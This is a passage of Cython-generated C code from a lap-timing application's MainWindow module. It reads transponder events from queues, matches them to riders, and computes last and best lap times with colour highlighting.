__Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (likely(PyList_CheckExact(__pyx_t_2)) || PyTuple_CheckExact(__pyx_t_2)) { __pyx_t_1 = __pyx_t_2; __Pyx_INCREF(__pyx_t_1); __pyx_t_3 = 0; __pyx_t_4 = NULL; } else { __pyx_t_3 = -1; __pyx_t_1 = PyObject_GetIter(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 253, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = Py_TYPE(__pyx_t_1)->tp_iternext; if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 253, __pyx_L1_error) } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; for (;;) { if (likely(!__pyx_t_4)) { if (likely(PyList_CheckExact(__pyx_t_1))) { if (__pyx_t_3 >= PyList_GET_SIZE(__pyx_t_1)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_2 = PyList_GET_ITEM(__pyx_t_1, __pyx_t_3); __Pyx_INCREF(__pyx_t_2); __pyx_t_3++; if (unlikely(0 < 0)) __PYX_ERR(0, 253, __pyx_L1_error) #else __pyx_t_2 = PySequence_ITEM(__pyx_t_1, __pyx_t_3); __pyx_t_3++; if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 253, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); #endif } else { if (__pyx_t_3 >= PyTuple_GET_SIZE(__pyx_t_1)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_2 = PyTuple_GET_ITEM(__pyx_t_1, __pyx_t_3); __Pyx_INCREF(__pyx_t_2); __pyx_t_3++; if (unlikely(0 < 0)) __PYX_ERR(0, 253, __pyx_L1_error) #else __pyx_t_2 = PySequence_ITEM(__pyx_t_1, __pyx_t_3); __pyx_t_3++; if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 253, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); #endif } } else { __pyx_t_2 = __pyx_t_4(__pyx_t_1); if (unlikely(!__pyx_t_2)) { PyObject* exc_type = PyErr_Occurred(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); else __PYX_ERR(0, 253, __pyx_L1_error) } break; } __Pyx_GOTREF(__pyx_t_2); } __Pyx_XDECREF_SET(__pyx_v_task, __pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":254 * self.TM_T_passage.setSortingEnabled(False) * for task in Globals.receiver: * r = Globals.receiver[task] # <<<<<<<<<<<<<< * pos = task * q = r['queue']['monitor'] */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 254, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_receiver); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 254, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyObject_GetItem(__pyx_t_5, __pyx_v_task); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 254, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF_SET(__pyx_v_r, __pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":255 * for task in Globals.receiver: * r = Globals.receiver[task] * pos = task # <<<<<<<<<<<<<< * q = r['queue']['monitor'] * while not q.empty(): */ __Pyx_INCREF(__pyx_v_task); __Pyx_XDECREF_SET(__pyx_v_pos, __pyx_v_task); /* "MainWindow.py":256 * r = Globals.receiver[task] * pos = task * q = r['queue']['monitor'] # <<<<<<<<<<<<<< * while not q.empty(): * e = q.get_nowait() */ __pyx_t_2 = PyObject_GetItem(__pyx_v_r, __pyx_n_u_queue); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 256, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = PyObject_GetItem(__pyx_t_2, __pyx_n_u_monitor); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 256, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF_SET(__pyx_v_q, __pyx_t_5); __pyx_t_5 = 0; /* "MainWindow.py":257 * pos = task * q = r['queue']['monitor'] * while not q.empty(): # <<<<<<<<<<<<<< * e = q.get_nowait() * tp = e.tp */ while (1) { __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_q, __pyx_n_s_empty); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 257, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_6) { __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 257, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else { __pyx_t_5 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 257, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely(__pyx_t_7 < 0)) __PYX_ERR(0, 257, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_8 = ((!__pyx_t_7) != 0); if (!__pyx_t_8) break; /* "MainWindow.py":258 * q = r['queue']['monitor'] * while not q.empty(): * e = q.get_nowait() # <<<<<<<<<<<<<< * tp = e.tp * millis = e.millis */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_q, __pyx_n_s_get_nowait); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 258, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_6) { __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 258, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else { __pyx_t_5 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 258, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF_SET(__pyx_v_e, __pyx_t_5); __pyx_t_5 = 0; /* "MainWindow.py":259 * while not q.empty(): * e = q.get_nowait() * tp = e.tp # <<<<<<<<<<<<<< * millis = e.millis * type = e.type */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_e, __pyx_n_s_tp); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 259, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_XDECREF_SET(__pyx_v_tp, __pyx_t_5); __pyx_t_5 = 0; /* "MainWindow.py":260 * e = q.get_nowait() * tp = e.tp * millis = e.millis # <<<<<<<<<<<<<< * type = e.type * color = colors["White"] */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_e, __pyx_n_s_millis); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 260, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_XDECREF_SET(__pyx_v_millis, __pyx_t_5); __pyx_t_5 = 0; /* "MainWindow.py":261 * tp = e.tp * millis = e.millis * type = e.type # <<<<<<<<<<<<<< * color = colors["White"] * try: */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_e, __pyx_n_s_type); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 261, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_XDECREF_SET(__pyx_v_type, __pyx_t_5); __pyx_t_5 = 0; /* "MainWindow.py":262 * millis = e.millis * type = e.type * color = colors["White"] # <<<<<<<<<<<<<< * try: * if tp in Globals.dictBestLapMonitor: */ __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_colors); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 262, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = PyObject_GetItem(__pyx_t_5, __pyx_n_u_White); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 262, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF_SET(__pyx_v_color, __pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":263 * type = e.type * color = colors["White"] * try: # <<<<<<<<<<<<<< * if tp in Globals.dictBestLapMonitor: * tt = Globals.dictBestLapMonitor[tp] */ { __Pyx_PyThreadState_declare __Pyx_PyThreadState_assign __Pyx_ExceptionSave(&__pyx_t_9, &__pyx_t_10, &__pyx_t_11); __Pyx_XGOTREF(__pyx_t_9); __Pyx_XGOTREF(__pyx_t_10); __Pyx_XGOTREF(__pyx_t_11); /*try:*/ { /* "MainWindow.py":264 * color = colors["White"] * try: * if tp in Globals.dictBestLapMonitor: # <<<<<<<<<<<<<< * tt = Globals.dictBestLapMonitor[tp] * if tt['ridernum']== 0: */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 264, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_dictBestLapMonitor); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 264, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_8 = (__Pyx_PySequence_ContainsTF(__pyx_v_tp, __pyx_t_5, Py_EQ)); if (unlikely(__pyx_t_8 < 0)) __PYX_ERR(0, 264, __pyx_L7_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_7 = (__pyx_t_8 != 0); if (__pyx_t_7) { /* "MainWindow.py":265 * try: * if tp in Globals.dictBestLapMonitor: * tt = Globals.dictBestLapMonitor[tp] # <<<<<<<<<<<<<< * if tt['ridernum']== 0: * if "TP_%8.8X"%tp in tpRacerList : */ __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 265, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_dictBestLapMonitor); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 265, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = PyObject_GetItem(__pyx_t_2, __pyx_v_tp); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 265, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF_SET(__pyx_v_tt, __pyx_t_5); __pyx_t_5 = 0; /* "MainWindow.py":266 * if tp in Globals.dictBestLapMonitor: * tt = Globals.dictBestLapMonitor[tp] * if tt['ridernum']== 0: # <<<<<<<<<<<<<< * if "TP_%8.8X"%tp in tpRacerList : * c = Globals.racerList[ tpRacerList[ Globals.C_concurrents_TP_fmt%tp ] ] */ __pyx_t_5 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_ridernum); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 266, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = __Pyx_PyInt_EqObjC(__pyx_t_5, __pyx_int_0, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 266, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely(__pyx_t_7 < 0)) __PYX_ERR(0, 266, __pyx_L7_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_7) { /* "MainWindow.py":267 * tt = Globals.dictBestLapMonitor[tp] * if tt['ridernum']== 0: * if "TP_%8.8X"%tp in tpRacerList : # <<<<<<<<<<<<<< * c = Globals.racerList[ tpRacerList[ Globals.C_concurrents_TP_fmt%tp ] ] * tt['ridername'] = Globals.C_concurrents_moni_fmt%(c['nom'], c['prenom']) # I_ridername */ __pyx_t_2 = PyUnicode_Format(__pyx_kp_u_TP__8_8X, __pyx_v_tp); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 267, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_tpRacerList); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 267, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_7 = (__Pyx_PySequence_ContainsTF(__pyx_t_2, __pyx_t_5, Py_EQ)); if (unlikely(__pyx_t_7 < 0)) __PYX_ERR(0, 267, __pyx_L7_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_8 = (__pyx_t_7 != 0); if (__pyx_t_8) { /* "MainWindow.py":268 * if tt['ridernum']== 0: * if "TP_%8.8X"%tp in tpRacerList : * c = Globals.racerList[ tpRacerList[ Globals.C_concurrents_TP_fmt%tp ] ] # <<<<<<<<<<<<<< * tt['ridername'] = Globals.C_concurrents_moni_fmt%(c['nom'], c['prenom']) # I_ridername * tt['ridernum'] = c['numero'] # I_ridernum */ __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 268, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_racerList); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 268, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_tpRacerList); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 268, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 268, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_C_concurrents_TP_fmt); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 268, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = PyNumber_Remainder(__pyx_t_12, __pyx_v_tp); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 268, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __pyx_t_12 = PyObject_GetItem(__pyx_t_5, __pyx_t_6); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 268, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = PyObject_GetItem(__pyx_t_2, __pyx_t_12); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 268, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_XDECREF_SET(__pyx_v_c, __pyx_t_6); __pyx_t_6 = 0; /* "MainWindow.py":269 * if "TP_%8.8X"%tp in tpRacerList : * c = Globals.racerList[ tpRacerList[ Globals.C_concurrents_TP_fmt%tp ] ] * tt['ridername'] = Globals.C_concurrents_moni_fmt%(c['nom'], c['prenom']) # I_ridername # <<<<<<<<<<<<<< * tt['ridernum'] = c['numero'] # I_ridernum * if type == 0: */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 269, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_C_concurrents_moni_fmt); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 269, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = PyObject_GetItem(__pyx_v_c, __pyx_n_u_nom); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 269, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_2 = PyObject_GetItem(__pyx_v_c, __pyx_n_u_prenom); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 269, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = PyTuple_New(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 269, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_6); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_5, 1, __pyx_t_2); __pyx_t_6 = 0; __pyx_t_2 = 0; __pyx_t_2 = PyNumber_Remainder(__pyx_t_12, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 269, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_ridername, __pyx_t_2) < 0)) __PYX_ERR(0, 269, __pyx_L7_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":270 * c = Globals.racerList[ tpRacerList[ Globals.C_concurrents_TP_fmt%tp ] ] * tt['ridername'] = Globals.C_concurrents_moni_fmt%(c['nom'], c['prenom']) # I_ridername * tt['ridernum'] = c['numero'] # I_ridernum # <<<<<<<<<<<<<< * if type == 0: * lap = millis - tt['lasttick'] */ __pyx_t_2 = PyObject_GetItem(__pyx_v_c, __pyx_n_u_numero); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 270, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_ridernum, __pyx_t_2) < 0)) __PYX_ERR(0, 270, __pyx_L7_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":267 * tt = Globals.dictBestLapMonitor[tp] * if tt['ridernum']== 0: * if "TP_%8.8X"%tp in tpRacerList : # <<<<<<<<<<<<<< * c = Globals.racerList[ tpRacerList[ Globals.C_concurrents_TP_fmt%tp ] ] * tt['ridername'] = Globals.C_concurrents_moni_fmt%(c['nom'], c['prenom']) # I_ridername */ } /* "MainWindow.py":266 * if tp in Globals.dictBestLapMonitor: * tt = Globals.dictBestLapMonitor[tp] * if tt['ridernum']== 0: # <<<<<<<<<<<<<< * if "TP_%8.8X"%tp in tpRacerList : * c = Globals.racerList[ tpRacerList[ Globals.C_concurrents_TP_fmt%tp ] ] */ } /* "MainWindow.py":271 * tt['ridername'] = Globals.C_concurrents_moni_fmt%(c['nom'], c['prenom']) # I_ridername * tt['ridernum'] = c['numero'] # I_ridernum * if type == 0: # <<<<<<<<<<<<<< * lap = millis - tt['lasttick'] * tt['lasttick' ] = millis */ __pyx_t_2 = __Pyx_PyInt_EqObjC(__pyx_v_type, __pyx_int_0, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 271, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_8 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely(__pyx_t_8 < 0)) __PYX_ERR(0, 271, __pyx_L7_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_8) { /* "MainWindow.py":272 * tt['ridernum'] = c['numero'] # I_ridernum * if type == 0: * lap = millis - tt['lasttick'] # <<<<<<<<<<<<<< * tt['lasttick' ] = millis * tt['lastlap'] = lap */ __pyx_t_2 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_lasttick); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 272, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = PyNumber_Subtract(__pyx_v_millis, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 272, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF_SET(__pyx_v_lap, __pyx_t_5); __pyx_t_5 = 0; /* "MainWindow.py":273 * if type == 0: * lap = millis - tt['lasttick'] * tt['lasttick' ] = millis # <<<<<<<<<<<<<< * tt['lastlap'] = lap * if lap < tt['bestlap']: */ if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_lasttick, __pyx_v_millis) < 0)) __PYX_ERR(0, 273, __pyx_L7_error) /* "MainWindow.py":274 * lap = millis - tt['lasttick'] * tt['lasttick' ] = millis * tt['lastlap'] = lap # <<<<<<<<<<<<<< * if lap < tt['bestlap']: * tt['bestlap'] = lap */ if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_lastlap, __pyx_v_lap) < 0)) __PYX_ERR(0, 274, __pyx_L7_error) /* "MainWindow.py":275 * tt['lasttick' ] = millis * tt['lastlap'] = lap * if lap < tt['bestlap']: # <<<<<<<<<<<<<< * tt['bestlap'] = lap * tt['textcolor'] = Globals.text_inverted + Globals.text_green */ __pyx_t_5 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_bestlap); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 275, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = PyObject_RichCompare(__pyx_v_lap, __pyx_t_5, Py_LT); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 275, __pyx_L7_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_8 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely(__pyx_t_8 < 0)) __PYX_ERR(0, 275, __pyx_L7_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_8) { /* "MainWindow.py":276 * tt['lastlap'] = lap * if lap < tt['bestlap']: * tt['bestlap'] = lap # <<<<<<<<<<<<<< * tt['textcolor'] = Globals.text_inverted + Globals.text_green * color = colors["Green"] */ if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_bestlap, __pyx_v_lap) < 0)) __PYX_ERR(0, 276, __pyx_L7_error) /* "MainWindow.py":277 * if lap < tt['bestlap']: * tt['bestlap'] = lap * tt['textcolor'] = Globals.text_inverted + Globals.text_green # <<<<<<<<<<<<<< * color = colors["Green"] * if lap > tt['bestlap']: */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 277, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_text_inverted); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 277, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 277, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_text_green); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 277, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyNumber_Add(__pyx_t_5, __pyx_t_12); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 277, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_textcolor, __pyx_t_2) < 0)) __PYX_ERR(0, 277, __pyx_L7_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":278 * tt['bestlap'] = lap * tt['textcolor'] = Globals.text_inverted + Globals.text_green * color = colors["Green"] # <<<<<<<<<<<<<< * if lap > tt['bestlap']: * tt['textcolor'] = Globals.text_inverted + Globals.text_red */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_colors); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 278, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_12 = PyObject_GetItem(__pyx_t_2, __pyx_n_u_Green); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 278, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF_SET(__pyx_v_color, __pyx_t_12); __pyx_t_12 = 0; /* "MainWindow.py":275 * tt['lasttick' ] = millis * tt['lastlap'] = lap * if lap < tt['bestlap']: # <<<<<<<<<<<<<< * tt['bestlap'] = lap * tt['textcolor'] = Globals.text_inverted + Globals.text_green */ } /* "MainWindow.py":279 * tt['textcolor'] = Globals.text_inverted + Globals.text_green * color = colors["Green"] * if lap > tt['bestlap']: # <<<<<<<<<<<<<< * tt['textcolor'] = Globals.text_inverted + Globals.text_red * color = colors["Red"] */ __pyx_t_12 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_bestlap); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 279, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_12); __pyx_t_2 = PyObject_RichCompare(__pyx_v_lap, __pyx_t_12, Py_GT); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 279, __pyx_L7_error) __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __pyx_t_8 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely(__pyx_t_8 < 0)) __PYX_ERR(0, 279, __pyx_L7_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_8) { /* "MainWindow.py":280 * color = colors["Green"] * if lap > tt['bestlap']: * tt['textcolor'] = Globals.text_inverted + Globals.text_red # <<<<<<<<<<<<<< * color = colors["Red"] * tt['lapcount'] +=1 */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 280, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_text_inverted); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 280, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 280, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_text_red); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 280, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyNumber_Add(__pyx_t_12, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 280, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; if 